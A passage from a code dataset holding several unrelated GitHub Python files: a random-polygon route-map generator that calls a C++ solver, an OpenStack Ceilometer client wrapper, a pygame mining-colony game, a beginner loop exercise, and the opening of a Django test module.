radius that the polygon can draw.\n _vertices: A list of vertices in a polygon. If no list is passed,\n it will automatically draw vertices into a polygon.\n state: set the start_point and target_point randomly or fixed.\n\n If set to \"random\" then it wil generate random points.\n If set to \"debug\" then it fix the\n start_point to (0, 0) (bottom left corner)\n and target_point to (max_width, max_height) (top right corner).\n It set to \"random\" by default.\n \"\"\"\n if _vertices is None:\n _vertices = []\n self.dimension = _dimension if _dimension else (100, 100)\n self.center_point = Point(_center_point)\n self.num_of_vertices = _num_of_vertices\n if state == \"debug\":\n self.maxRad = 15\n else:\n self.maxRad = _max_rad\n\n self.vertices = self.generate_vertices() if not _vertices else _vertices\n\n # getters and setters.\n def get_center(self):\n return self.center_point\n\n def set_center(self, center):\n self.center_point = center\n\n def get_num_vertices(self):\n return self.num_of_vertices\n\n def set_num_vertices(self, num):\n self.num_of_vertices = num\n\n def get_vertices(self):\n return self.vertices\n\n def set_vertices(self, vertices):\n self.vertices = vertices\n\n # class functions\n def generate_vertices(self):\n \"\"\"\n class function that generate polygon vertexes.\n It runs on the creation of a new Polygon object.\n\n :return: vertexes list of the self polygon object.\n \"\"\"\n vertices_list = []\n for i in range(self.num_of_vertices):\n radius = randint(0, self.maxRad)\n direction = randint(0, 360)\n\n # calculate the x,y coordinates of every vertex.\n x = int(self.center_point.get_coordinates()[0] + radius * math.cos(direction))\n y = int(self.center_point.get_coordinates()[1] + radius * math.sin(direction))\n\n # check if not out of bounds of the map.\n x = min(self.dimension[0], max(0, x))\n y = min(self.dimension[1], max(0, y))\n\n # add the vertex to the verticesList.\n vertices_list.append(Point((x, y)))\n\n return vertices_list\n\n\nclass ControlManager:\n \"\"\"\n A class that serves as a user interface for creating map type objects\n and managing the communication between the 2 parts of the project.\n \"\"\"\n\n def __init__(self):\n self.map_list = []\n\n def add_map(self, _map):\n \"\"\"\n Add Map object to map_list.\n\n :param _map: Map object.\n \"\"\"\n self.map_list.append(_map)\n\n def get_map_list(self):\n \"\"\"\n Get function to map_list.\n \"\"\"\n return self.map_list\n\n def visual_maps(self, _map_list, is_polygon):\n \"\"\"\n Visualization of each Map object from map_list one at a time using visualization method.\n \"\"\"\n for m in _map_list:\n self.visualization(m, is_polygon)\n\n @staticmethod\n def visualization(_map, is_from_input):\n \"\"\"\n Visualization of Map object.\n\n :param _map: Map object to show on plot.\n :param is_from_input: A flag describing whether the resulting map object\n is from a draw or a receiver from the reading xml.\n \"\"\"\n fig, ax = plt.subplots()\n\n # plot polygon representation\n for poly in _map.polygons:\n if is_from_input: # plot for reading from xml.\n ControlManager.visual_los(ax, _map.get_start_point())\n for ver in poly.get_vertices():\n ControlManager.visual_los(ax, ver)\n ControlManager.visual_obstacle(ax, poly)\n\n else: # plot for drawn map.\n ControlManager.visual_polygon(ax, poly)\n if is_from_input: # plot for reading from xml.\n ControlManager.visual_routh(ax, _map.get_routh()) # Show routh.\n\n ax.plot(_map.start_point.get_coordinates()[0], _map.start_point.get_coordinates()[1], 'o',\n color=\"gold\") # plot start point\n ax.annotate(\"Start\", _map.start_point.get_coordinates()) # print label\n ax.plot(_map.target_point.get_coordinates()[0], _map.target_point.get_coordinates()[1], 'o',\n color=\"#00D100\") # plot target point\n ax.annotate(\"Target\", _map.target_point.get_coordinates()) # print label\n\n ax.set_aspect(1)\n plt.show()\n\n @staticmethod\n def visual_polygon(ax, poly):\n \"\"\"\n A helper function that plots a drawn polygon type object.\n :param ax: subplots reference to add objects to.\n :param poly: polygon object to plot.\n \"\"\"\n ax.plot(poly.center_point.get_coordinates()[0], poly.center_point.get_coordinates()[1], 'o', color=\"black\")\n circle_plot = plt.Circle(poly.center_point.get_coordinates(), poly.maxRad, fill=False, color=\"green\")\n\n ax.add_patch(circle_plot) # print circle\n for ver in poly.vertices:\n ax.plot(ver.get_coordinates()[0], ver.get_coordinates()[1], 'o', color=\"blue\")\n\n @staticmethod\n def visual_obstacle(ax, obstacle):\n \"\"\"\n A helper function that plots a polygon object from the xml .\n :param ax: subplots reference to add objects to.\n :param obstacle: obstacle object to plot.\n \"\"\"\n xs = []\n ys = []\n\n for val in obstacle.get_vertices():\n xs.append(val.get_coordinates()[0])\n ys.append(val.get_coordinates()[1])\n if xs and ys:\n xs.append(xs[0])\n ys.append(ys[0])\n\n ax.plot(xs, ys, color=\"blue\", alpha=.5)\n ax.fill_between(xs, ys, 0, facecolor='blue', alpha=.5)\n ax.scatter(xs, ys, color=\"blue\")\n\n @staticmethod\n def visual_los(ax, sp):\n \"\"\"\n A helper function that plots a line of sight from the xml .\n :param ax: subplots reference to add objects to.\n :param sp: point to plot the line of sight\n \"\"\"\n los = sp.get_line_of_sight()\n x, y = sp.get_coordinates()\n if los:\n for v in los:\n xs = [x, v.get_coordinates()[0]]\n ys = [y, v.get_coordinates()[1]]\n ax.plot(xs, ys, color=\"WhiteSmoke\")\n\n @staticmethod\n def visual_routh(ax, routh):\n \"\"\"\n A helper function that plots a routh path from the xml .\n\n :param ax: subplots reference to add objects to.\n :param routh: An ordered list of nodes from the start node to the goal node.\n \"\"\"\n xs = []\n ys = []\n for ver in routh:\n xs.append(ver.get_coordinates()[0])\n ys.append(ver.get_coordinates()[1])\n\n ax.plot(xs, ys, color=\"red\")\n\n def write_xml(self, _xml_name):\n \"\"\"\n Create input XML file for algorithm program to read.\n\n :param _xml_name: name of the xml file to be created that stores the objects' data.\n \"\"\"\n root = Element(\"Root\")\n polygons_xml = SubElement(root, \"Maps\", size=str(len(self.map_list)))\n\n for i, _map in enumerate(self.map_list):\n self.output_map_attributes(i, _map, polygons_xml)\n\n # write to file\n out_file = open(path.join(os.getcwd(), _xml_name), \"w\", encoding='utf8') # overnight file\n for line in self.prettify(root).split(\"\\n\"):\n out_file.write(line)\n\n out_file.close()\n\n @staticmethod\n def output_map_attributes(_map_name, _map, _maps_xml):\n \"\"\"\n Append map object for the input file to for algorithm program to read.\n\n :param _map_name: number of map in the list for loop tracking.\n :param _map: Map object to add to file.\n :param _maps_xml: xml tree object to make sub element to.\n \"\"\"\n map_xml = SubElement(_maps_xml, 'Map', name=str(_map_name))\n width = SubElement(map_xml, 'Width')\n width.text = str(_map.get_width())\n height = SubElement(map_xml, 'Height')\n height.text = str(_map.get_height())\n\n start_point = SubElement(map_xml, 'StartPoint')\n xs = SubElement(start_point, 'X')\n xs.text = str(_map.get_start_point().get_coordinates()[0])\n ys = SubElement(start_point, 'Y')\n ys.text = str(_map.get_start_point().get_coordinates()[1])\n\n target_point = SubElement(map_xml, 'TargetPoint')\n xs = SubElement(target_point, 'X')\n xs.text = str(_map.get_target_point().get_coordinates()[0])\n ys = SubElement(target_point, 'Y')\n ys.text = str(_map.get_target_point().get_coordinates()[1])\n\n polygons_xml = SubElement(map_xml, 'Polygons', size=str(len(_map.get_poly())))\n\n for polygonNum, polygon in enumerate(_map.get_poly()):\n polygon_xml = SubElement(polygons_xml, 'Polygon', name=str(polygonNum))\n\n vertexes_xml = SubElement(polygon_xml, 'Vertexes', size=str(len(polygon.get_vertices())))\n for vertexName, vertex in enumerate(polygon.get_vertices()):\n vertex_xml = SubElement(vertexes_xml, 'Vertex', name=str(vertexName))\n xs = SubElement(vertex_xml, 'X')\n xs.text = str(vertex.get_coordinates()[0])\n ys = SubElement(vertex_xml, 'Y')\n ys.text = str(vertex.get_coordinates()[1])\n\n @staticmethod\n def prettify(elem):\n \"\"\"\n Return a pretty-printed XML string for the Element.\n\n :param elem: ElementTree object to convert to string.\n \"\"\"\n rough_string = ElementTree.tostring(elem, encoding='unicode')\n reparse = minidom.parseString(rough_string)\n return reparse.toprettyxml(indent=\" \")\n\n @staticmethod\n def read_xml(_in_path):\n \"\"\"\n create a new map element from given xml file path.\n\n :param _in_path: path of the xml output file of the algorithmic part .\n \"\"\"\n tree = ElementTree.parse(_in_path)\n root = tree.getroot()\n\n map_list = []\n\n for m in root.iter('Map'):\n width = int(m.find(\"./Width\").text)\n height = int(m.find(\"./Height\").text)\n sp_los = []\n for sp in m.iter(\"StartPoint\"):\n for v in sp.iter('Vertex'):\n sp_los.append(Point((int(v.find(\"./X\").text), int(v.find(\"./Y\").text))))\n start_point = Point((int(m.find(\"./StartPoint/X\").text), int(m.find(\"./StartPoint/Y\").text)), sp_los)\n target_point = Point((int(m.find(\"./TargetPoint/X\").text), int(m.find(\"./TargetPoint/Y\").text)))\n obstacles = []\n for o in m.iter('Obstacle'):\n vertices = []\n for v in o.findall('.Vertexes/Vertex'):\n ver = (int(v.find(\"./X\").text), int(v.find(\"./Y\").text))\n p_los = []\n for v_los in v.iter(\"Vertex\"):\n p_los.append(Point((int(v_los.find(\"./X\").text), int(v_los.find(\"./Y\").text))))\n vertices.append(Point(ver, p_los))\n\n obstacle = Polygon(_num_of_vertices=len(vertices), _vertices=vertices)\n obstacles.append(obstacle)\n\n route = []\n for r in m.iter('Route'):\n for route_ver in r.iter('Vertex'):\n route.append(Point((int(route_ver.find(\"./X\").text), int(route_ver.find(\"./Y\").text))))\n\n _map = Map(width, height, start_point, target_point, obstacles, route)\n map_list.append(_map)\n\n return map_list\n\n @staticmethod\n def exe_program(_out_path: object, _in_path: object, state=\"random\"):\n \"\"\"\n function that creates the xml input file for the algorithm program, compile the algorithm program cpp file\n and runs it with it's xml as input.\n\n\n :param _out_path: name for the xml file to be created as the input file of the algorithm program.\n :param _in_path: name for the xml file to be received from the algorithm program.\n :param state: flag for the function to control if in debug or random mode.\n \"\"\"\n control.write_xml(_out_path) # create input file for the algorithm program.\n try:\n if state == \"debug\" or not os.path.exists(path.join(os.getcwd(), \"findBestRouth.exe\")):\n os.system(\"make\") # compile algorithm program c++ file.\n\n try:\n algo = subprocess.Popen(\n [path.join(os.getcwd(), \"findBestRouth.exe\"), _out_path, _in_path]) # run the algorithm program\n algo.wait()\n\n except:\n raise Exception(\"Cannot run \\\"findBestRouth.exe\\\" file.\")\n\n except:\n raise Exception(\"Cannot compile \\\"main.cpp\\\" file.\")\n\n\nif __name__ == \"__main__\":\n _out_path = path.join(os.getcwd(), \"Python_output.xml\")\n _in_path = path.join(os.getcwd(), \"cpp_output.xml\")\n control = ControlManager() # create control object for data passing.\n control.add_map(Map(state=\"debug\",\n _polygons=[\n Polygon(_dimension=(100, 100), _center_point=(25, 35), _num_of_vertices=20, _max_rad=25),\n Polygon(_dimension=(100, 100), _center_point=(75, 65), _num_of_vertices=20,\n _max_rad=25)])) # add new Map to map_list.\n # control.add_map(Map(state=\"debug\")) # add new random Map to map_list.\n control.add_map(Map(state=\"random\")) # add new random Map to map_list.\n control.exe_program(_out_path, _in_path, state=\"debug\") # create input file ,compile the algorithm program and runs it.\n control.visual_maps(control.get_map_list(), is_polygon=False) # visual all Maps in map_list.\n received_map_list = control.read_xml(_in_path) # read xml file and plot map of it.\n control.visual_maps(received_map_list, is_polygon=True)\n","repo_name":"AloniRegev/Shortest-Route-On-A-Random-Map","sub_path":"RunMe.py","file_name":"RunMe.py","file_ext":"py","file_size_in_byte":20739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16963916348","text":"'''\nAuthor: Paul Bruno\n\nDescription:\n\n - Encapsulates native openstack ceilometer client\n\n - Adds additional support for Operatonal API testing and Managment\n\n'''\nimport os, sys, traceback\nfrom sets import Set\nimport omfbase as omfbase\nimport time\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\nfrom collections import namedtuple\nimport random\n\nfrom omfcodes import ExitCodes\nec = ExitCodes()\n\nclass CeiloClient (object):\n\n def __init__ (self, _class, **kwargs):\n ''' \n Initialize CeiloClient instance\n\n INPUTS:\n \n OMFClient class - instance of OMFClient\n\n DICT - pointer to keyword argument list\n\n RETURN:\n\n CeiloClient instance\n \n '''\n if (not _class) or (not isinstance(_class, omfbase.OMFCLIENT_CLASS)):\n sys.stderr.write('{0} {1}\\n'.format(1511, ec.get(1511)))\n sys.exit(151)\n\n self.parent = _class\n ''' set parent to instance of OMFClient '''\n\n self._name_filter = None\n ''' generic name filter '''\n\n self._status_filter = None\n ''' generic status filter '''\n\n self._metric_filter = None\n ''' metric filter '''\n\n self.debug = self.parent.debug\n ''' set debug level to the parent level '''\n\n try:\n import ceilometerclient\n from ceilometerclient import client\n from ceilometerclient.common import utils\n except:\n raise omfbase.OMFImport(2103)\n\n self.ceilometerclient = ceilometerclient\n '''set passthru to native openstack ceilometer module for method not in Client()'''\n\n try:\n\n _user, _password, _project = _class.init_client_meta(_class, kwargs)\n\n self.project = _project\n\n ''' NON LAMBDA WAY OF CREATING THE CLIENT '''\n keystone = {}\n keystone['os_username'] = _user\n keystone['os_password'] = _password\n keystone['os_auth_url'] = _class.host\n keystone['os_tenant_name'] = _project\n\n ceilo = client.get_client(2, **keystone)\n\n self.client = ceilo\n\n if not isinstance(ceilo, ceilometerclient.v2.client.Client):\n _class.log_and_exit('Invalid Ceilometer client.', 2100)\n\n _class.log_info('Created new {0}: {1}'.format(__name__, type(self.client)))\n\n except Exception as e:\n _class.log_and_exit(e, 2100)\n\n\n ''' private methods '''\n def _metrics(self):\n '''\n Filters should be set in the class before calling this internal method\n\n Available filters:\n\n self._name_filter\n self._metric_filter\n\n ''' \n obj = []\n mlist = None\n try:\n mlist = self.client.meters.list()\n except Exception as e:\n self.parent.log_and_exit(e, 2101)\n\n sid = None\n \n if (self._name_filter):\n try:\n sid = self.parent.nova_client._map_human_to_id('server', self._name_filter, self.parent.nova_client.client.servers.list())\n except Exception as e:\n self.parent.log_and_exit(e, 1604)\n\n for m in mlist:\n\n if (self._metric_filter) or (self._name_filter):\n if (self._metric_filter):\n if (m.name == self._metric_filter):\n if (sid):\n if (sid in m.resource_id):\n obj.append(m) #match name filter, add metric\n return obj\n else:\n obj.append(m) #no name filter, add metric\n continue\n else:\n continue\n elif (sid):\n if (sid in m.resource_id):\n obj.append(m) #match name filter, add metric\n else:\n #shouldn't ever get here!\n obj.append(m)\n\n else: #no filters\n obj.append(m)\n\n return obj \n\n ''' public methods '''\n\n def get_metrics(self, namefilter=None, metric=None):\n '''\n Look up ceilometer metric\n\n INPUT:\n \n STRING namefilter - openstack instance server name to filter on\n\n STRING metric - specify a single metric to get\n\n RETURN:\n\n LIST of openstack metric objects\n ''' \n if (namefilter):\n if (self.debug):\n self.parent.log_and_print_info('Setting namefilter to {0}'.format(namefilter))\n self._name_filter = namefilter\n\n if (metric):\n if (self.debug):\n self.parent.log_and_print_info('Setting metric filter to {0}'.format(metric))\n self._metric_filter = metric\n\n runningtime, obj = omfbase.trace(self._metrics)\n self.parent.log_and_print_info('Metrics query took: {0}'.format(runningtime))\n\n return obj \n\n","repo_name":"thetoolsmith/omf","sub_path":"OMF/omf_ceilometer.py","file_name":"omf_ceilometer.py","file_ext":"py","file_size_in_byte":4353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3749598078","text":"# Notes\n# A random point in the mining zone should be picked as a resource \"hotspot\" - the production of each mine is a measure of how close / far the mine is from this point\n# The player can choose where to place mines within the mine field, and they can learn where the hotspot is over time through trial and error\n\n# Buttons can use the animation system to have a click effect - just call next_frame() when they are clicked and again when the click is released.\n# Should have a cool civ-style \"NEXT YEAR\" button in the bottom right corner\n\nimport pygame\nfrom pygame.locals import *\n\nimport ctypes\nimport sys\nimport random\nimport math\nimport os\nfrom dataclasses import dataclass\n\n# Initialise\nctypes.windll.user32.SetProcessDPIAware()\npygame.init()\n\n# Import custom modules\nfrom classes import *\nimport ui\n\n###############\n##### Functions\n\ndef setup():\n # Native resolution is 2560 x 1440 fullscreen (16:9)\n\n # This function simply creates the game window, and applies adjustments if the screen aspect ratio is not 16:9, or if the game is running in windowed mode. \n\n display_info = pygame.display.Info()\n\n if False: # If Fullscreen\n if math.isclose((display_info.current_w / display_info.current_h), 1.77, abs_tol = 10**-3): # If the screen is 16:9\n screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n else: # Otherwise, render a 16:9 game with black bars on the top and bottom to prevent warping of the game\n fullscreen_res = (display_info.current_w, round(display_info.current_w / 1.77778)) # Potentially round the y value up\n screen = pygame.display.set_mode(fullscreen_res, pygame.FULLSCREEN|pygame.SCALED)\n else:\n screen = pygame.display.set_mode((2560, 1440))\n\n return screen\n\ndef scale_rect(rect: pygame.Rect, game_res):\n return pygame.Rect(rect.left * game_res.scaling_factor.x, rect.top * game_res.scaling_factor.y, rect.width * game_res.scaling_factor.x, rect.height * game_res.scaling_factor.y)\n\n###############\n##### Variables\n\nscreen = setup()\nclock = pygame.time.Clock()\nframe_time = 0\ngame_res = GameResolution((2560, 1440), (screen.get_width(), screen.get_height()), Point(screen.get_width() / 2560, screen.get_height() / 1440))\ntext = ui.Text(game_res.scaling_factor.y)\n\n# Controls which screen is currently being displayed\n# 0 = Main Menu / 1 = Game\nview = 1\nupdate_zones = []\n\n@dataclass\nclass GameData:\n year = random.randint(2300, 2501)\n\n mines = random.randint(3, 8)\n people = random.randint(40, 80)\n money = random.randint(200, 500) * people\n\n food_price = random.randint(100, 300)\n ore_price = random.randint(50, 80)\n mine_price = random.randint(3000, 6000)\n\n ore_per_mine = random.randint(8, 20)\n\n stored_food = 100\n stored_ore = random.randrange(40, 80)\n satisfaction = 1\n\n food_price_change = 0\n ore_price_change = 0\n mine_price_change = 0\n ore_produced = 0\n\nsatisfaction_dial = ui.SatisfactionDial(screen, game_res, GameData.satisfaction)\n\n###############\n##### Functions\n\ndef close_infobox():\n global current_infobox\n current_infobox = -1\n\ndef next_year():\n global current_infobox\n global infoboxes\n global frame_time\n\n GameData.year += 1\n\n GameData.mine_price_change = (random.randint(55 if GameData.mine_price > 800 else 120, 145) / 100)\n GameData.mine_price = int(GameData.mine_price * GameData.mine_price_change)\n\n GameData.ore_price_change = (random.randint(75 if GameData.ore_price > 40 else 115, 125) / 100) \n GameData.ore_price = int(GameData.ore_price * GameData.ore_price_change)\n\n GameData.food_price_change = (random.randint(80 if GameData.food_price > 40 else 110, 120) / 100) \n GameData.food_price = int(GameData.food_price * GameData.food_price_change)\n\n GameData.ore_produced = GameData.ore_per_mine * (GameData.mines - random.randint(0, 1))\n GameData.stored_ore += GameData.ore_produced\n\n current_infobox = 0\n infoboxes[current_infobox].open(frame_time)\n\ndef sell_ore():\n GameData.money += GameData.stored_ore * GameData.ore_price\n GameData.stored_ore = 0\n\ndef buy_mine():\n if GameData.money > GameData.mine_price and GameData.mines < 16:\n GameData.money -= GameData.mine_price\n GameData.mines += 1\n\ndef sell_mine():\n if GameData.mines > 0:\n GameData.mines -= 1\n GameData.money += GameData.mine_price\n\ndef buy_food():\n if GameData.money > GameData.food_price * 10:\n GameData.stored_food += 10\n GameData.money -= GameData.food_price * 10\n\n###############\n##### GUI/Asset\n\nbackground_rects = [scale_rect(pygame.Rect(350, 100, 800, 800), game_res), scale_rect(pygame.Rect(1410, 100, 800, 800), game_res), scale_rect(pygame.Rect(0, 1000, 2560, 440), game_res)]\n\ncurrent_infobox = -1\ninfoboxes = [\n ui.InfoBox(Point(1200, 900), Point(1280, 720), game_res, {\n \"colour\": Colours.INFOBOX_GREY,\n \"text\": [], # this is set in update_yearly_report as these values need to be changed each year\n \"buttons\": [ui.Button(ui.ButtonType.NORMAL, Point(600, 830), Point(160, 90), text.MED_BOLD.render(\"OK\", True, Colours.BLACK), [Colours.BUTTON, Colours.BUTTON_HOVER], None, [close_infobox])]\n }, ui.ZoomAnimation(8, 0.05)),\n ui.InfoBox(Point(800, 600), Point(1280, 720), game_res, {\"colour\": Colours.INFOBOX_GREY, \"text\": [(text.LARGE_BOLD.render(\"YOU LOST\", True, Colours.WHITE), Point(600, 70), True)], \"buttons\": [ui.Button(ui.ButtonType.NORMAL, Point(400, 520), Point(120, 80), text.MED_BOLD.render(\"OK\", True, Colours.BLACK), [Colours.BUTTON, Colours.BUTTON_HOVER], None, [close_infobox])]}, ui.ZoomAnimation(8, 0.05))\n]\n\n##############\n##### Infobox Helpers\n\ndef update_yearly_report():\n global infoboxes\n \n \"\"\"\n infoboxes[0].redefine_data(\"text\", [\n (text.LARGE_BOLD.render(\"THE YEARS MARCH ON\", True, Colours.WHITE), Point(600, 70), True),\n (text.SMALL_BOLD.render(f\"It is now {GameData.year}\", True, Colours.TEXT_SUBTITLE), Point(600, 120), True),\n (text.MED_BOLD.render(\"Economic Report\", True, Colours.TEXT_LIGHT), Point(300, 270), True),\n (text.MED_BOLD.render(\"Colony Status\", True, Colours.TEXT_LIGHT), Point(900, 270), True),\n\n (text.SMALL_BOLD.render(f\"Ore Price: {GameData.ore_price} | {'+' if GameData.ore_price_change >= 0 else ''}{GameData.ore_price_change}%\", True, Colours.TEXT_LIGHT), Point(180, 350), False),\n (text.SMALL_BOLD.render(f\"Mine Price: {GameData.mine_price} | {'+' if GameData.mine_price_change >= 0 else ''}{GameData.mine_price_change}%\", True, Colours.TEXT_LIGHT), Point(180, 400), False),\n (text.SMALL_BOLD.render(f\"Food Price: {GameData.food_price} | {'+' if GameData.food_price_change >= 0 else ''}{GameData.food_price_change}%\", True, Colours.TEXT_LIGHT), Point(180, 450), False),\n\n ])\n \"\"\"\n \n infoboxes[0].redefine_data(\"text\", [\n (text.LARGE_BOLD.render(\"THE YEARS MARCH ON\", True, Colours.WHITE), Point(600, 70), True),\n (text.SMALL_BOLD.render(f\"It is now {GameData.year}\", True, Colours.TEXT_SUBTITLE), Point(600, 120), True),\n ])\n \n\n pass\n\n\nupdate_yearly_report() # Run it for the first time, so that the infobox is set up with the initial values\n\n##### Infobox Helpers\n##############\n\nbuttons = [\n ui.Button(ui.ButtonType.NORMAL, Point(2400, 1180), Point(160, 90), None, [Colours.BUTTON, Colours.BUTTON_HOVER], [Image(\"images/calendar.png\", game_res), AnimatedImage(\"images/acalendar\", 100, game_res)], [next_year, update_yearly_report]),\n \n ui.Button(ui.ButtonType.NORMAL, Point(200, 1300), Point(160, 70), text.SMALL_BOLD.render(\"Sell Ore\", True, Colours.BLACK), [Colours.BUTTON, Colours.BUTTON_HOVER], None, [sell_ore]),\n ui.Button(ui.ButtonType.NORMAL, Point(620, 1350), Point(90, 60), text.MED_BOLD.render(\"-\", True, Colours.BLACK), [Colours.BUTTON, Colours.BUTTON_HOVER], None, [sell_mine]),\n ui.Button(ui.ButtonType.NORMAL, Point(780, 1350), Point(90, 60), text.MED_BOLD.render(\"+\", True, Colours.BLACK), [Colours.BUTTON, Colours.BUTTON_HOVER], None, [buy_mine]),\n ui.Button(ui.ButtonType.NORMAL, Point(1300, 1350), Point(160, 70), text.SMALL_BOLD.render(\"Buy Food\", True, Colours.BLACK), [Colours.BUTTON, Colours.BUTTON_HOVER], None, [buy_food])\n]\n\nminer = AnimatedImage(\"images/miners\", 1000, game_res)\nhouse = AnimatedImage(\"images/houses\", 1200, game_res)\n\nore_icon = Image(\"images/ore.png\", game_res)\ndollar_icon = Image(\"images/dollar.png\", game_res)\nmines_icon = Image(\"images/mines.png\", game_res)\nfood_icon = Image(\"images/food.png\", game_res)\npeople_icon = Image(\"images/people.png\", game_res)\n\nminer_positions = [\nPoint(320, 50) * game_res.scaling_factor,\nPoint(320, 240) * game_res.scaling_factor,\nPoint(320, 430) * game_res.scaling_factor,\nPoint(320, 620) * game_res.scaling_factor,\nPoint(520, 50) * game_res.scaling_factor,\nPoint(520, 240) * game_res.scaling_factor,\nPoint(520, 430) * game_res.scaling_factor,\nPoint(520, 620) * game_res.scaling_factor,\nPoint(720, 50) * game_res.scaling_factor,\nPoint(720, 240) * game_res.scaling_factor,\nPoint(720, 430) * game_res.scaling_factor,\nPoint(720, 620) * game_res.scaling_factor,\nPoint(920, 50) * game_res.scaling_factor,\nPoint(920, 240) * game_res.scaling_factor,\nPoint(920, 430) * game_res.scaling_factor,\nPoint(920, 620) * game_res.scaling_factor,\n]\n\nhouse_positions = []\nfor position in miner_positions:\n house_positions.append(position + Point(1075, 35) * game_res.scaling_factor)\n\n###############\n##### Main Loop\n\nwhile True:\n\n ### Events\n\n pressed_keys = []\n pressed_clicks = [False, False, False]\n\n for event in pygame.event.get():\n\n if event.type == MOUSEBUTTONDOWN:\n pressed_clicks = pygame.mouse.get_pressed()\n\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n pygame.quit()\n sys.exit()\n\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n\n if view == 0: # MAIN MENU\n pass\n\n elif view == 1: # GAME\n\n ##### UI Logic #####\n\n # Infoboxes\n if current_infobox > -1:\n infoboxes[current_infobox].process(Point(*pygame.mouse.get_pos()), pressed_clicks, None)\n update_zones.append(infoboxes[current_infobox].render(screen, frame_time))\n else:\n # Check buttons outside of infoboxes\n for button in buttons:\n button.check(pygame.mouse.get_pos(), pressed_clicks[0])\n\n ##### Logic #####\n\n miner.tick(frame_time)\n house.tick(frame_time)\n\n ##### Render #####\n \n if current_infobox < 0:\n\n # Background\n screen.fill(Colours.BLUE)\n \n pygame.draw.rect(screen, Colours.LIGHT_GRAYBLUE, background_rects[0])\n pygame.draw.rect(screen, Colours.LIGHT_BLUE, background_rects[1])\n pygame.draw.rect(screen, Colours.PANEL_DARKGREY, background_rects[2])\n\n # Gameplay Images + Animations\n for position in miner_positions[0:GameData.mines]:\n miner.render(screen, position)\n\n houses = int(GameData.people / 8)\n if houses > 16:\n houses = 16\n for position in house_positions[0:houses]:\n house.render(screen, position)\n\n # Buttons\n for button in buttons:\n button.render(screen, frame_time)\n\n # Rendering hotbar elements\n text.write(screen, text.MEDIUM, Colours.TEXT_SUBTITLE, (2300, 1330), \"Next Year\")\n text.write(screen, text.LARGE_BOLD, Colours.TEXT_LIGHT, (200, 1050), \"ORE\", True)\n \n\n ore_icon.render(screen, Point(130, 1120), True)\n dollar_icon.render(screen, Point(130, 1190), True)\n text.write(screen, text.SMALL, Colours.TEXT_SUBTITLE, (165, 1100), f\"Stored: {GameData.stored_ore}T\")\n text.write(screen, text.SMALL, Colours.TEXT_SUBTITLE, (165, 1170), f\"Price: ${GameData.ore_price}\")\n\n text.write(screen, text.LARGE_BOLD, Colours.TEXT_LIGHT, (700, 1050), \"MINES\", True)\n\n ore_icon.render(screen, Point(630, 1120), True)\n dollar_icon.render(screen, Point(630, 1190), True)\n mines_icon.render(screen, Point(630, 1270), True)\n\n text.write(screen, text.SMALL, Colours.TEXT_SUBTITLE, (665, 1100), f\"{GameData.ore_per_mine}T/mine\")\n text.write(screen, text.SMALL, Colours.TEXT_SUBTITLE, (665, 1170), f\"Price: ${GameData.mine_price}\")\n text.write(screen, text.MEDIUM, Colours.WHITE, (665, 1250), f\"Mines: {GameData.mines}\")\n\n\n text.write(screen, text.LARGE_BOLD, Colours.TEXT_LIGHT, (1300, 1050), \"FOOD\", True)\n\n food_icon.render(screen, Point(1230, 1120), True)\n dollar_icon.render(screen, Point(1230, 1190), True)\n\n text.write(screen, text.SMALL, Colours.TEXT_SUBTITLE, (1265, 1100), f\"Food: {GameData.stored_food} units\")\n text.write(screen, text.SMALL, Colours.TEXT_SUBTITLE, (1265, 1170), f\"Price: ${GameData.food_price}\")\n\n\n text.write(screen, text.LARGE_BOLD, Colours.TEXT_LIGHT, (1900, 1050), \"COLONY\", True)\n\n people_icon.render(screen, Point(1830, 1120), True)\n dollar_icon.render(screen, Point(1830, 1190), True)\n text.write(screen, text.SMALL, Colours.TEXT_SUBTITLE, (1865, 1100), f\"{GameData.people} residents\")\n text.write(screen, text.SMALL, Colours.TEXT_SUBTITLE, (1865, 1170), f\"Bank: ${GameData.money}\")\n\n\n #text.write(screen, text.SMALL, Colours.BLACK, (10, 1400), f\"FPS: {round(clock.get_fps(), 1)}\")\n\n\n elif infoboxes[current_infobox].newly_opened: # When infobox was just opened\n\n background_dimmer = pygame.Surface((screen.get_width(), screen.get_height()))\n background_dimmer.set_alpha(100)\n background_dimmer.fill(Colours.BLACK)\n\n screen.blit(background_dimmer, (0, 0))\n\n\n if len(update_zones) > 0:\n if infoboxes[current_infobox].newly_opened: # Do one full pass to ensure that the dimming surface is rendered\n pygame.display.flip()\n infoboxes[current_infobox].newly_opened = False\n\n else: # Only update the pixels containing infoboxes\n for zone in update_zones:\n pygame.display.update(zone)\n\n update_zones = []\n else:\n #pygame.draw.circle(screen, Colours.RED, pygame.mouse.get_pos(), 3)\n pygame.display.flip()\n\n frame_time = clock.tick(60)","repo_name":"Lumiobyte/SpaceMines2D","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":14453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8551468658","text":"# prints a triangle\r\ndef part_a():\r\n for i in range(1,6):\r\n for j in range(1,i+1):\r\n print(j , end = \" \")\r\n print()\r\n\r\n# Checks for prime numbers\r\ndef part_b():\r\n prime = []\r\n ok = True\r\n for num in range(25,51):\r\n for var in range(2,num):\r\n if(num % var == 0):\r\n ok = False\r\n if(ok):\r\n prime.append(num)\r\n ok = True\r\n return prime\r\n\r\nprint(part_b())\r\n\r\n","repo_name":"shehryarrashid/Python","sub_path":"Week 4/act3.py","file_name":"act3.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72025984516","text":"from django.test import TestCase\nfrom django.test import SimpleTestCase\nfrom django.core.exceptions import ValidationError\nfrom django.contrib.auth.models import User\nfrom django.db import IntegrityError\n\n#my stuff\nfrom website.models import Organization\nfrom surveys.models import *\nfrom surveys.core import survey_logic\n\n#third party\nfrom datetime import date, timedelta\n\n\n\n#from django.urls import reverse\n#from django.test import Client\n#from django.contrib.auth.models import AnonymousUser, User\n#from django.contrib import auth\n\n#set up logging\nimport logging\nlogger = 